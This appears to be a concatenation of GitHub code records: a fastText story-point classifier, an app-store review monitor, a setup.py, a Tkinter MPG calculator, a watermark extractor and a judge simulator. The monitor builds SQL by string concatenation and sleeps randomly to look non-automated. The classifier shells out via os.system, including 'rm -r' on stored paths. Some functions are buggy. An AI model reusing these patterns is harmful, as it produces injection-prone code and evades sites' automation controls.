test_pred = [int(line.strip('_label\\r\\n')) for line in outfile.readlines()]\r\n outfile.close()\r\n \r\n return test_pred\r\n \r\n def predict_prob(self, xtest):\r\n #log folder path\r\n testFilePath = self.logFolderName + \"/\" +self.testFileName\r\n outputFilePath = self.logFolderName + \"/\" +self.outputFileName\r\n outputModelPath = self.logFolderName + \"/\" +self.outputModelName\r\n \r\n #save test file\r\n outfile=open(testFilePath, mode=\"w\", encoding=\"utf-8\")\r\n for i in range(len(xtest)):\r\n outfile.write(xtest[i] + '\\n')\r\n outfile.close()\r\n \r\n #get predictions \r\n command = \"fasttext predict-prob \" + outputModelPath + \".bin \" + testFilePath + \" > \" + outputFilePath\r\n os.system(command)\r\n \r\n outfile=open(outputFilePath, mode=\"r\")\r\n test_pred = [(line.strip('_label\\r\\n')) for line in outfile.readlines()]\r\n outfile.close()\r\n \r\n y_pred=[]\r\n prob=[]\r\n length=len(test_pred)\r\n for i in range (length):\r\n split_val=test_pred[i].split()\r\n label1=int(split_val[0])\r\n y_pred.append(label1)\r\n prob1=float(split_val[1])\r\n prob.append(prob1)\r\n return y_pred,prob\r\n \r\n \r\n\r\n\r\ndef cleanData(text):\r\n #Remove all tags\r\n text = re.compile(r'<.*?>').sub('', text)\r\n #Remove web urls\r\n text = re.compile(r'http\\S+').sub('', text)\r\n #Remove {html} tag\r\n text = text.replace('{html}', '')\r\n \r\n text_words = text.split() \r\n \r\n resultwords = [word for word in text_words if word not in stopwords.words('english')]\r\n \r\n if len(resultwords) > 0:\r\n result = ' '.join(resultwords)\r\n else:\r\n print('Empty transformation for: ' + text)\r\n \r\n return result\r\n \r\ndef formatFastTextClassifier(label):\r\n return \"__label__\" + str(label) + \" \"\r\n\r\ndef SimpleOverSample(_xtrain, _ytrain):\r\n xtrain = list(_xtrain)\r\n ytrain = list(_ytrain)\r\n\r\n samples_counter = Counter(ytrain)\r\n max_samples = sorted(samples_counter.values(), reverse=True)[0]\r\n for sc in samples_counter:\r\n init_samples = samples_counter[sc]\r\n samples_to_add = max_samples - init_samples\r\n if samples_to_add > 0:\r\n #collect indices to oversample for the current class\r\n index = list()\r\n for i in range(len(ytrain)):\r\n if(ytrain[i] == sc):\r\n index.append(i)\r\n #select samples to copy for the current class \r\n copy_from = [xtrain[i] for i in index]\r\n index_copy = 0\r\n for i in range(samples_to_add):\r\n xtrain.append(copy_from[index_copy % len(copy_from)])\r\n ytrain.append(sc)\r\n index_copy += 1\r\n return xtrain, ytrain\r\n \r\ndef rebuild_kfold_sets(folds, k, i):\r\n training_set = None\r\n testing_set = None\r\n\r\n for j in range(k):\r\n if(i==j):\r\n testing_set = folds[i]\r\n elif(training_set is not None):\r\n training_set = pd.concat([training_set, folds[j]])\r\n else:\r\n training_set = folds[j]\r\n \r\n return training_set, testing_set\r\n \r\n \r\ndef training_testing_fxn(value_k=2):\r\n\r\n # model pretraining \r\n #model_pretaining()\r\n \r\n df = pd.read_csv(\"master_csv.csv\")\r\n \r\n # Resetting the stroypoints \r\n df.loc[df.storypoint <= 2, 'storypoint'] = 0 #small\r\n df.loc[(df.storypoint > 2) & (df.storypoint <= 5), 'storypoint'] = 1 #medium\r\n df.loc[df.storypoint > 5, 'storypoint'] = 2 #big\r\n \r\n \r\n # To combine title desc and storypoint for passing in fasttext algo\r\n df['title_desc'] = df['title'].str.lower() + ' - ' + df['description'].str.lower()\r\n df['label_title_desc'] = df['storypoint'].apply(lambda x: formatFastTextClassifier(x)) + df['title_desc'].apply(lambda x: cleanData(str(x)))\r\n print(\"phase1\")\r\n \r\n # Reset the index\r\n df = df.reset_index(drop=True)\r\n \r\n # Make datafrane to save results\r\n results = pd.DataFrame(columns=['True_Classes', 'Predicted_Classes'])\r\n \r\n # Oversampling the dataset to improve the prediction\r\n df_oversampled = pd.DataFrame(df, columns=['label_title_desc','storypoint'])\r\n X_resampled, y_resampled = SimpleOverSample(df_oversampled.label_title_desc.values.tolist(), df_oversampled.storypoint.values.tolist())\r\n \r\n k = value_k\r\n \r\n # Define the classes for the classifier\r\n classes = ['0','1','2']\r\n \r\n # Make Dataset random before start\r\n df_rand = df.sample(df.storypoint.count(), random_state=99)\r\n \r\n # Make datafrane to save results\r\n #results = pd.DataFrame(columns=['True_Classes', 'Predicted_Classes'])\r\n \r\n # Number of examples in each fold\r\n fsamples = int(df_rand.storypoint.count() / k)\r\n \r\n # Fill folds (obs: last folder could contain less than fsamples datapoints)\r\n folds = list()\r\n for i in range(k):\r\n folds.append(df_rand.iloc[i * fsamples : (i + 1) * fsamples])\r\n \r\n # Init\r\n sum_overall_accuracy = 0\r\n total_predictions = 0\r\n log_folder_name=[]\r\n print(\"phase2\")\r\n \r\n for i in range(k):\r\n \r\n # Build new training and testing set for iteration i\r\n training_set, testing_set = rebuild_kfold_sets(folds, k, i)\r\n y_true = testing_set.storypoint.tolist()\r\n \r\n print(\"phase 3 loop:\",i)\r\n # Oversample (ONLY TRAINING DATA)\r\n X_resampled, y_resampled = SimpleOverSample(training_set.label_title_desc.values.tolist(), training_set.storypoint.values.tolist())\r\n \r\n # training \r\n clf = FastTextClassifier()\r\n \r\n #if(i==0):\r\n #clf.model_pretaining()\r\n \r\n clf.fit(X_resampled, y_resampled)\r\n \r\n # Predict\r\n #y_pred = clf.predict(testing_set.label_title_desc.values.tolist())\r\n y_pred,y_prob = clf.predict_prob(testing_set.label_title_desc.values.tolist())\r\n \r\n x=clf.re_log()\r\n log_folder_name.append(x)\r\n \r\n # Update Overall Accuracy\r\n for num_pred in range(len(y_pred)):\r\n if(y_pred[num_pred] == y_true[num_pred]):\r\n sum_overall_accuracy += 1\r\n total_predictions += 1\r\n \r\n if (i==0):\r\n save_y_value(y_true,y_pred,y_prob)\r\n print(\"\\n\")\r\n \r\n \r\n\r\n # Plot Confusion Matrix and accuracy \r\n #plot_confusion_matrix_with_accuracy(classes, y_true, y_pred, 'Confusion matrix (testing-set folder = ' + str(i) + ')', sum_overall_accuracy, total_predictions)\r\n \r\n # Save true and predicted labels in results dataframe\r\n results = results.append(pd.concat([pd.DataFrame({'True_Classes':y_true}), pd.DataFrame({'Predicted_Classes':y_pred})], axis=1)) \r\n \r\n results.reset_index()\r\n \r\n with open('mosaic_results.pickle', 'wb') as f:\r\n pickle.dump(results, f)\r\n \r\n #del_log_file()\r\n \r\n #saving names of log files\r\n #print(\"ret_log_file:\",log_folder_name)\r\n with open('log_file_name.pickle', 'wb') as f:\r\n pickle.dump(log_folder_name, f)\r\n \r\n'''def ret_log_file(ret_log_file):\r\n print(\"ret_log_file:\",ret_log_file)\r\n with open('log_file_name.pickle', 'wb') as f:\r\n pickle.dump(ret_log_file, f)'''\r\n \r\ndef del_log_file():\r\n with open('log_file_name.pickle', 'rb') as f:\r\n obj = pickle.load(f)\r\n x=obj[1:]\r\n \r\n for i in x:\r\n if(path.exists(i)):\r\n command = \"rm -r \" + i\r\n os.system(command)\r\n \r\n \r\ndef save_y_value(y_true,y_pred,y_prob):\r\n var=[y_true,y_pred,y_prob]\r\n #print(\"y_true:\",y_true)\r\n with open('variable.pickle', 'wb') as f:\r\n pickle.dump(var, f)\r\n \r\ndef give_metrics_parameter():\r\n with open('variable.pickle', 'rb') as f:\r\n obj = pickle.load(f)\r\n \r\n y_true=obj[0]\r\n y_pred=obj[1]\r\n y_prob=obj[2]\r\n \r\n \r\n scores = precision_recall_fscore_support(y_true, y_pred)\r\n \r\n precision=scores[0]\r\n #print(\"precision:\",precision)\r\n \r\n recall=scores[1]\r\n #print(\"recall:\",recall)\r\n \r\n f_score=scores[2]\r\n #print(\"f_score:\",f_score)\r\n \r\n return precision,recall,f_score,y_true,y_pred,y_prob\r\n\r\n \r\n\r\n\r\n\"\"\"def plot_confusion_matrix(cm, classes,\r\n normalize=False,\r\n title='Confusion matrix',\r\n cmap=plt.cm.Blues):\r\n \r\n #This function prints and plots the confusion matrix.\r\n #Normalization can be applied by setting `normalize=True`.\r\n if normalize:\r\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\r\n\r\n\r\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\r\n plt.title(title)\r\n plt.colorbar()\r\n tick_marks = np.arange(len(classes))\r\n plt.xticks(tick_marks, classes, rotation=45)\r\n plt.yticks(tick_marks, classes)\r\n\r\n fmt = '.2f' if normalize else 'd'\r\n thresh = cm.max() / 2.\r\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\r\n plt.text(j, i, format(cm[i, j], fmt),\r\n horizontalalignment=\"center\",\r\n color=\"white\" if cm[i, j] > thresh else \"black\")\r\n\r\n plt.tight_layout()\r\n plt.ylabel('True label')\r\n plt.xlabel('Predicted label')\r\n \r\ndef plot_confusion_matrix_with_accuracy(classes, y_true, y_pred, title, sum_overall_accuracy, total_predictions):\r\n cm = ConfusionMatrix(y_true, y_pred)\r\n \r\n print('Current Overall accuracy: ' + str(cm.stats()['overall']['Accuracy']))\r\n if total_predictions != 0:\r\n print('Total Overall Accuracy: ' + str(sum_overall_accuracy/total_predictions))\r\n else:\r\n print('Total Overall Accuracy: ' + str(cm.stats()['overall']['Accuracy']))\r\n\r\n conf_matrix = confusion_matrix(y_true, y_pred)\r\n plt.figure()\r\n plot_confusion_matrix(conf_matrix, classes=classes, title=title)\r\n plt.show()\"\"\" ","repo_name":"abhishek1397/Story-Point-Estimation-in-Agile-Projects","sub_path":"main py/train_test_algo.py","file_name":"train_test_algo.py","file_ext":"py","file_size_in_byte":14311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11761148418","text":"#####################################################################\n## Application Monitor ('AppEye')\n## Reads the ranking and number of reviews from App Store and\n## Play Store and save the latest result in the local Sqlite3\n## database for further processing and reports\n#####################################################################\n## Version: 0.6.2\n## Email: paul.wasicsek@gmail.com\n## Status: dev\n#####################################################################\n\nimport sqlite3\nimport configparser\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\nimport urllib\nimport datetime\nfrom app_store_scraper import AppStore\nfrom google_play_scraper import app\nfrom google_play_scraper import Sort, reviews\nimport pandas as pd\nimport logging as log\nimport os\nfrom random import randint\nimport time\nfrom jira import JIRA\n\n# global variables\nfk_id_app = \"\"\nfk_id_store = \"\"\nfk_id_country = \"\"\nfk_id_language = \"\"\nvisit_date = datetime.date.today().strftime(\"%Y-%m-%d\")\n\n# Read initialization parameters\nconfig = configparser.ConfigParser()\ntry:\n config.read(\"config.ini\")\nexcept Exception as err:\n print('Cannot read INI file due to Error: %s' % (str(err)))\n\nif_new_review = config['Action']['NewReview']\n\ns = smtplib.SMTP_SSL(host=config['Email']['Host'],\n port=config['Email']['Port'])\n#s.starttls()\ns.ehlo()\ns.login(config['Email']['Email'], config['Email']['Password'])\n\n# Customize path to your SQLite database\ndatabase = config['Database']['DB_Name']\n\nlog.basicConfig(filename=config['Log']['File'],\n level=os.environ.get(\"LOGLEVEL\", config['Log']['Level']),\n format='%(asctime)s [%(levelname)s] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S ')\n\nif (config['Action']['Execute'] == \"Delay\"):\n # Include a waiting period, so the algorithm doesn't think it's automatic processing\n t = randint(int(config['Wait']['Min']), int(config['Wait']['Max']))\n time.sleep(t)\n\n# Connect to the database\ntry:\n conn = sqlite3.connect(database)\n cursor = conn.cursor()\nexcept Exception as err:\n print('Connecting to DB failed due to: %s\\n' % (str(err)))\n\n# Improve https connection handling, see article:\n# https://stackoverflow.com/questions/23013220/max-retries-exceeded-with-url-in-requests\n#\nsession = requests.Session()\nretry = Retry(connect=3, backoff_factor=0.5)\nadapter = HTTPAdapter(max_retries=retry)\nsession.mount('http://', adapter)\nsession.mount('https://', adapter)\n\n\n# execute query\ndef execute(query, param=\"\"):\n log.debug(\"SQL:\" + query)\n if (len(param) > 0):\n log.debug(\"Param:\" + str(param))\n return_value = \"\"\n try:\n return_value = cursor.execute(query, param)\n if (query.startswith(\"UPDATE\") or query.startswith(\"INSERT\")):\n cursor.execute(\"COMMIT\")\n except Exception as err:\n print('Query Failed: %s\\nError: %s' % (query, str(err)))\n return (return_value)\n\n\n#\n# Input parameters:\n# table name\n# quey_field - column to query for\n# query_value - value for query_field to match\n# name for the result column\n# Output:\n# the value stored in the result column\n#\ndef sql_value(table, query_field, query_value, result_field):\n query = \"select \" + result_field + \" from \" + table + \" where \" + query_field + \" = \" + str(\n query_value)\n execute(query)\n row = cursor.fetchone()\n log.debug(\"Return:\" + str(row[0]))\n return (str(row[0]))\n\n\ndef update_visit_date():\n log.debug(\"Nothing new ... saving visit_date in database\")\n query = \"UPDATE applications SET visit_date = '\" + str(\n visit_date\n ) + \"' WHERE id_app = \" + str(fk_id_app) + \" AND id_store = \" + str(\n fk_id_store) + \" AND id_country = \" + str(\n fk_id_country) + \" AND id_language = \" + str(fk_id_language)\n execute(query)\n\n\n#\n# Sende Email message\n#\ndef send_message(From, To, Subject, Attachment):\n global if_new_review\n if (if_new_review == \"SendEmail\"):\n # send email to inform about new rating/review\n msg = MIMEMultipart() # create a message\n # setup the parameters of the message\n msg['From'] = From\n msg['To'] = To\n msg['Subject'] = Subject\n # add in the message body\n msg.attach(MIMEText(Attachment, 'plain'))\n # send the message via the server set up earlier.\n s.send_message(msg)\n if (if_new_review == \"CreateJiraTicket\"):\n issue_dict = {\n 'project': {\n 'id': config['Jira']['ProjectID']\n },\n 'summary': Subject,\n 'description': Attachment,\n 'issuetype': {\n 'name': 'Task'\n },\n }\n try:\n new_ticket = jira.create_issue(fields=issue_dict)\n log.info(\"Ticket \" + str(new_ticket) + \" was created.\")\n except Exception as err:\n log.debug(\"Creating Jira ticket failed due to: \" + str(err))\n if_new_review = \"SendEmail\"\n send_message(config['Email']['Email'], config['Email']['Email_To'],\n \"[ERROR] creating new Jira ticket: \",\n \"Check application log file.\")\n\n\ndef new_review_title(result):\n log.debug(\"... and also a new review title\")\n log.debug(\"last review RESULT:\", str(result[0]))\n query = \"UPDATE applications SET last_review_date = ?, last_review_title = ?, last_review_rating = ? WHERE id_app = \" + str(\n fk_id_app) + \" AND id_store = \" + str(\n fk_id_store) + \" AND id_country = \" + str(\n fk_id_country) + \" AND id_language = \" + str(fk_id_language)\n param = (str(result[0]['at'].strftime(\"%Y-%m-%d %H:%M:%S\")),\n result[0]['content'], str(result[0]['score']))\n execute(query)\n\n\ndef main():\n global fk_id_app\n global fk_id_store\n global fk_id_country\n global fk_id_language\n\n log.info(\"=======================\")\n log.info(\"Program start\")\n try:\n external_ip = urllib.request.urlopen('https://ident.me').read().decode(\n 'utf8')\n except Exception as err:\n external_ip = \"error \" + str(err) + \"getting external IP\"\n log.info(\"External IP: \" + external_ip)\n log.info(\"=======================\")\n\n if_new_review = config['Action']['NewReview']\n\n if (if_new_review == \"CreateJiraTicket\"):\n try:\n jira = JIRA(options=jiraOptions,\n basic_auth=(config['Jira']['Email'],\n config['Jira']['API_Token']))\n except Exception as err:\n print('Connecting to Jira failed due to:', str(err))\n if_new_review = \"SendEmail\"\n send_message(From, To, \"ERROR \" + config['Log']['File'],\n \"Can not connect to Jira\")\n exit()\n\n c = execute(\"select * from applications\")\n field_names = [description[0] for description in c.description]\n\n apps = c.fetchall()\n for c_app in apps:\n fk_id_app = c_app[1]\n fk_id_store = c_app[2]\n fk_id_country = c_app[3]\n fk_id_language = c_app[4]\n application_name = sql_value(\"applications_list\", \"id_app\", fk_id_app,\n \"application_name\")\n application_store = sql_value(\"stores\", \"id_store\", fk_id_store,\n \"store_name\")\n application_country = sql_value(\"countries\", \"id_country\",\n fk_id_country, \"code\")\n application_language = sql_value(\"languages\", \"id_language\",\n fk_id_language, \"code\")\n app_id = c_app[field_names.index(\"app_id\")]\n app_name = c_app[field_names.index(\"app_name\")]\n app_url = c_app[field_names.index(\"url\")]\n rating_count = c_app[field_names.index(\"rating_count\")]\n reviews_count = c_app[field_names.index(\"review_count\")]\n last_review_title = c_app[field_names.index(\"last_review_title\")]\n email_alarm = c_app[field_names.index(\"email_alarm\")]\n\n log.info(\"*** Application name: \" + application_name + \" Store: \" +\n application_store + \"Country: \" + application_country +\n \"Language: \" + application_language + \" app name: \" +\n app_name)\n\n # check iOS application\n if (application_store == \"App Store\"):\n base_url = \"https://itunes.apple.com/\" + application_country + \"/lookup?id=\" + str(\n app_id)\n log.debug(\"Base URL:\" + base_url)\n data = session.get(base_url).json()\n # data = requests.get(base_url).json()\n result = data[\"results\"]\n row_json = result[0]\n\n averageUserRating = row_json[\"averageUserRating\"]\n userRatingCount = row_json[\"userRatingCount\"]\n\n now = str(datetime.datetime.now())[0:19]\n # check if new user ratings are available\n log.debug(\"Check for new rating \" + str(rating_count) + \" != \" +\n str(userRatingCount))\n if (rating_count != userRatingCount):\n # save the new user average ratings and rating count\n query = \"UPDATE applications SET rating = '\" + str(\n averageUserRating) + \"', rating_count = '\" + str(\n userRatingCount\n ) + \"', last_change = '\" + now + \"', visit_date='\" + str(\n visit_date) + \"' WHERE id_app = \" + str(\n fk_id_app) + \" AND id_store = \" + str(\n fk_id_store) + \" AND id_country = \" + str(\n fk_id_country\n ) + \" AND id_language = \" + str(fk_id_language)\n execute(query)\n\n #update with last review date, rating and title\n log.debug(\"Apple store: country \" + application_country +\n \", name: \" + app_name + \"id: \" + str(app_id))\n\n appstore_app = AppStore(country=application_country,\n app_name=app_name,\n app_id=app_id)\n appstore_app.review()\n app_reviews = appstore_app.reviews\n\n # check that there is already a reviewUPDATE applications SET last_review_date\n if (len(app_reviews) > 0):\n log.debug(\"There are some reviews\")\n pd_reviews = pd.DataFrame(app_reviews)\n sorted_reviews = pd_reviews.sort_values(by='date',\n ascending=False)\n last_review = sorted_reviews.iloc[0]\n\n # if it's a new review, save it and send email\n if (last_review_title != last_review['title']):\n log.debug(\"There is a NEW user review title\")\n log.debug(\"last review:\", last_review)\n query = \"UPDATE applications SET last_review_date = ?, last_review_title = ?, last_review_rating =? WHERE id_app = \" + str(\n fk_id_app) + \" AND id_store = \" + str(\n fk_id_store) + \" AND id_country = \" + str(\n fk_id_country\n ) + \" AND id_language = \" + str(fk_id_language)\n param = (\n last_review['date'].strftime(\"%Y-%m-%d %H:%M:%S\"),\n last_review['title'], str(last_review['rating']))\n execute(query, param)\n if (email_alarm == \"y\"):\n send_message(\n config['Email']['Email'],\n config['Email']['Email_To'],\n \"[\" + application_country +\n \"] New App Store Rating/Review: \" +\n str(last_review['rating']) + \" - \" +\n last_review['title'],\n \"New rating or review was published in app store:\"\n + app_url)\n else:\n update_visit_date()\n\n if (application_store == \"Google Play\"):\n log.info(\"Android: app name, lang, country: \" + app_name + \", \" +\n application_language + \", \" + application_country)\n result = app(app_name,\n lang=application_language,\n country=application_country)\n log.debug(\"app(\" + app_name + \",lang=\" +\n str(application_language) + \",country=\" +\n str(application_country) + \")\")\n userRatingCount = result['ratings']\n averageUserRating = result['score']\n userReviewsCount = result['reviews']\n now = str(datetime.datetime.now())[0:19]\n log.info(\"userRatingCount, averageUserRating, userReviewsCount: \" +\n str(userRatingCount) + \" \" + str(averageUserRating) +\n \" \" + str(userReviewsCount))\n log.info(\"result: app name, lang, country: \" + app_name + \", \" +\n application_language + \", \" + application_country)\n result, continuation_token = reviews(app_name,\n lang=application_language,\n country=application_country,\n sort=Sort.NEWEST,\n count=1)\n log.debug(\"Check for new review \" + str(reviews_count) + \" != \" +\n str(userReviewsCount))\n if (reviews_count != userReviewsCount):\n log.debug(\"There is a NEW user rating ...\")\n # save the new user average ratings and rating count\n # Update Rating and REviews fields\n query = \"UPDATE applications SET rating = '\" + str(\n averageUserRating) + \"', rating_count = '\" + str(\n userRatingCount\n ) + \"', review_count = '\" + str(\n userReviewsCount\n ) + \"', last_change = '\" + now + \"', visit_date = '\" + str(\n visit_date) + \"' WHERE id_app = \" + str(\n fk_id_app) + \" AND id_store = \" + str(\n fk_id_store) + \" AND id_country = \" + str(\n fk_id_country\n ) + \" AND id_language = \" + str(fk_id_language)\n\n execute(query)\n if (len(result) > 0):\n if (last_review_title != result[0]['content']):\n new_review_title(result)\n\n if (email_alarm == \"y\"):\n send_message(\n config['Email']['Email'],\n config['Email']['Email_To'],\n \"[\" + application_country +\n \"] App Store Rating/Review: \" +\n str(result[0]['score']),\n \"New rating or review was published in app store:\"\n + app_url + '\\r\\n' + result[0]['content'])\n else:\n update_visit_date()\n\n\nif __name__ == '__main__':\n main()","repo_name":"Clustmart/apps-monitor","sub_path":"app_monitor_sql.py","file_name":"app_monitor_sql.py","file_ext":"py","file_size_in_byte":15692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"31102207987","text":"from setuptools import setup\nfrom auth_hacks import __version__\n\nREADME = open('README.rst').read()\n\nsetup(name='django-auth-hack',\n version=__version__,\n description=\"Hacking Django's contrib auth app to support longer usernames\",\n long_description=README,\n author='Francisco Souza',\n author_email='francisco@franciscosouza.net',\n packages=['auth_hacks'],\n include_package_data=True,\n install_requires=['Django>=1.3.1'],\n )\n\n","repo_name":"fsouza/django-auth-hack","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"27863109217","text":"import tkinter as tk\nimport tkinter.font as tkFont\n\ndef is_float(value):\n try:\n float(value)\n return True\n except ValueError:\n return False\n\nclass App:\n def __init__(self, root):\n #setting title\n root.title(\"MPG Calculator\")\n #setting window size\n width=271\n height=322\n screenwidth = root.winfo_screenwidth()\n screenheight = root.winfo_screenheight()\n alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth - width) / 2, (screenheight - height) / 2)\n root.geometry(alignstr)\n root.resizable(width=False, height=False)\n\n top_label=tk.Label(root)\n ft = tkFont.Font(family='Times',size=15)\n top_label[\"font\"] = ft\n top_label[\"fg\"] = \"#ff0000\"\n top_label[\"justify\"] = \"center\"\n top_label[\"text\"] = \"Miles per gallon calculator\"\n top_label.place(x=10,y=10,width=253,height=32)\n\n fuel_tank_label=tk.Label(root)\n ft = tkFont.Font(family='Times',size=10)\n fuel_tank_label[\"font\"] = ft\n fuel_tank_label[\"fg\"] = \"#333333\"\n fuel_tank_label[\"justify\"] = \"center\"\n fuel_tank_label[\"text\"] = \"Fuel tank capacity:\"\n fuel_tank_label.place(x=20,y=110,width=108,height=30)\n\n range_label=tk.Label(root)\n ft = tkFont.Font(family='Times',size=10)\n range_label[\"font\"] = ft\n range_label[\"fg\"] = \"#333333\"\n range_label[\"justify\"] = \"center\"\n range_label[\"text\"] = \"Range on full tank:\"\n range_label.place(x=20,y=150,width=107,height=30)\n\n self.fuel_tank_input_box=tk.Entry(root)\n self.fuel_tank_input_box[\"borderwidth\"] = \"1px\"\n ft = tkFont.Font(family='Times',size=10)\n self.fuel_tank_input_box[\"font\"] = ft\n self.fuel_tank_input_box[\"fg\"] = \"#333333\"\n self.fuel_tank_input_box[\"justify\"] = \"center\"\n self.fuel_tank_input_box[\"text\"] = \"\"\n self.fuel_tank_input_box.place(x=130,y=110,width=129,height=30)\n\n self.range_input_box=tk.Entry(root)\n self.range_input_box[\"borderwidth\"] = \"1px\"\n ft = tkFont.Font(family='Times',size=10)\n self.range_input_box[\"font\"] = ft\n self.range_input_box[\"fg\"] = \"#333333\"\n self.range_input_box[\"justify\"] = \"center\"\n self.range_input_box[\"text\"] = \"\"\n self.range_input_box.place(x=130,y=150,width=128,height=30)\n\n calculate_button=tk.Button(root)\n calculate_button[\"bg\"] = \"#efefef\"\n ft = tkFont.Font(family='Times',size=10)\n calculate_button[\"font\"] = ft\n calculate_button[\"fg\"] = \"#0000ff\"\n calculate_button[\"justify\"] = \"center\"\n calculate_button[\"text\"] = \"Calculate\"\n calculate_button.place(x=130,y=190,width=128,height=30)\n calculate_button[\"command\"] = self.calculate_button_command\n\n self.result_label=tk.Label(root)\n ft = tkFont.Font(family='Times',size=10)\n self.result_label[\"font\"] = ft\n self.result_label[\"fg\"] = \"#008000\"\n self.result_label[\"justify\"] = \"center\"\n self.result_label[\"text\"] = \"\"\n self.result_label.place(x=20,y=260,width=221,height=30)\n\n def calculate_button_command(self):\n range_var = self.range_input_box.get()\n capacity_var = self.fuel_tank_input_box.get()\n if is_float(str(range_var)) and is_float(str(capacity_var)):\n result_var = float(range_var) / float(capacity_var)\n self.result_label[\"text\"] = \"MPG = \" + str(result_var)\n self.result_label[\"fg\"] = \"#008000\"\n else:\n self.result_label[\"text\"] = \"Invalid entries!!\"\n self.result_label[\"fg\"] = \"Red\"\n\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n app = App(root)\n root.mainloop()\n","repo_name":"vhmvd/python","sub_path":"Projects/MPG calculator gui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18940217725","text":"#!/usr/bin/env python\n\nimport argparse\nimport cv2\nimport json\nimport numpy as np\n\ndef inverse_torus_automorphism_permutation(img, m, k):\n img_result = np.zeros_like(img)\n\n for i in range(img.shape[0]):\n for j in range(img.shape[1]):\n new_i = ((k+1)*i - j) % m\n new_j = (-k*i + j) % m\n img_result[new_i, new_j] = img[i, j]\n\n return img_result\n\ndef get_args():\n parser = argparse.ArgumentParser(description=\"Watermark Extractor\")\n parser.add_argument(\"-i\", \"--image\", required=True, type=str)\n parser.add_argument(\"-s\", \"--secret-file\", required=True, type=str)\n parser.add_argument(\"-o\", \"--output-image\", required=True, type=str)\n return parser.parse_args()\n\ndef main(args):\n with open(args.secret_file) as f:\n key_info = json.load(f)\n\n k = key_info['k']\n m = key_info['m']\n M = key_info['M']\n\n img = cv2.imread(args.image, cv2.IMREAD_COLOR)\n img = cv2.cvtColor(np.float32(img), cv2.COLOR_BGR2YUV)\n img_y = img[:, :, 0]\n\n wbits = np.zeros((m, m))\n cnt = 0\n for blk in key_info['blocks']:\n i, j = blk['blk_pos']\n dct = cv2.dct(img_y[i*8:(i+1)*8, j*8:(j+1)*8])\n for pos in blk['dct_pos']:\n if (np.abs(dct[tuple(pos)]) % M) < (M / 2):\n bit = 0\n else:\n bit = 1\n wbits[cnt // m, cnt % m] = bit\n cnt += 1\n\n wbits = inverse_torus_automorphism_permutation(wbits, m, k)\n\n cv2.imwrite(args.output_image, wbits*255)\n\nif __name__ == '__main__':\n main(get_args())\n","repo_name":"wheatdog/robust-watermark-against-jpeg","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"73574982444","text":"import random, time, csv\n\ninputCSV = input('What is the name of the CSV baseline you would like to use? ')\noutputCSV = input('What is the name of the CSV output? ')\njvar = int(input(\"What is the judge variance from 'correct' you would like to see? \"))\niterGoal = int(input('How many runs of the data do you want? '))\n\n\n\n\nif not inputCSV.endswith('.csv'):\n inputCSV = inputCSV + '.csv'\n\n\n\n\n\n\n\n\ndef judgeCalculator(outputWrite):\n global jvar\n global inputCSV\n inputFile = open(inputCSV)\n inputReader = csv.reader(inputFile)\n print(jvar)\n print('Calculations starting!')\n for row in inputReader:\n print('New Row!')\n unam_right = 0\n unam_wrong = 0\n split_right = 0\n split_wrong = 0\n majCount = 0\n minCount = 0\n rightDec = 0\n wrongDec = 0\n name = row[0]\n roundGoal = int(row[1])\n print(name)\n print(roundGoal)\n for x in range(roundGoal):\n judge1 = random.randint(1,100)\n judge2 = random.randint(1,100)\n judge3 = random.randint(1,100)\n panelDec = 0\n panel = [judge1, judge2, judge3]\n if judge1 <= jvar:\n wrongDec += 1\n else:\n rightDec += 1\n for dec in panel:\n if dec <= jvar:\n panelDec += 2\n elif dec > jvar:\n panelDec += 1\n if panelDec == 6:\n unam_wrong += 1\n majCount += 1\n elif ((panelDec == 5) and (judge1 <= jvar)):\n majCount += 1\n split_wrong += 1\n elif ((panelDec == 5) and (judge1 > jvar)):\n minCount += 1\n split_wrong += 1\n elif ((panelDec == 4) and (judge1 <= jvar)):\n split_right += 1\n minCount += 1\n elif ((panelDec == 4) and (judge1 > jvar)):\n majCount += 1\n split_right += 1\n elif panelDec == 3:\n unam_right += 1\n majCount += 1\n\n \n print(name,str(roundGoal),str(minCount),str(majCount),str(unam_right),str(unam_wrong),str(split_right),str(split_wrong),str(rightDec),str(wrongDec))\n outputWrite.writerow([name,str(roundGoal),str(minCount),str(majCount),str(unam_right),str(unam_wrong),str(split_right),str(split_wrong),str(rightDec),str(wrongDec)])\n inputFile.close()\n\n\ndef multipleRuns():\n global iterGoal\n global outputCSV\n outputSave = outputCSV\n runCount = 00\n for x in range(iterGoal):\n runCount += 1\n outputCSV = outputSave + str(runCount) + '.csv'\n resultsFile = open(outputCSV, 'w', newline = '')\n outputWrite = csv.writer(resultsFile)\n outputWrite.writerow(['Name', 'Rounds Judged','Minority Decisions', 'Majority Decisions', 'Unaminously Right Decisions', 'Unaminously wrong decisions', \n 'right 2-1 Decisons', 'wrong 2-1 decisions', 'Right Ballot', 'Wrong Ballot' ])\n judgeCalculator(outputWrite)\n resultsFile.close()\n\n\nmultipleRuns()\n\n","repo_name":"Robgea/Simulator","sub_path":"simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8994857247","text":"# -*- coding: utf-8 -*-\nfrom unittest import TestCase\n\nfrom clauses_statistics.models import ClausesStatistic\n\n\nclass ClausesStatisticTest(TestCase):\n\n def test_todict(self):\n stat = 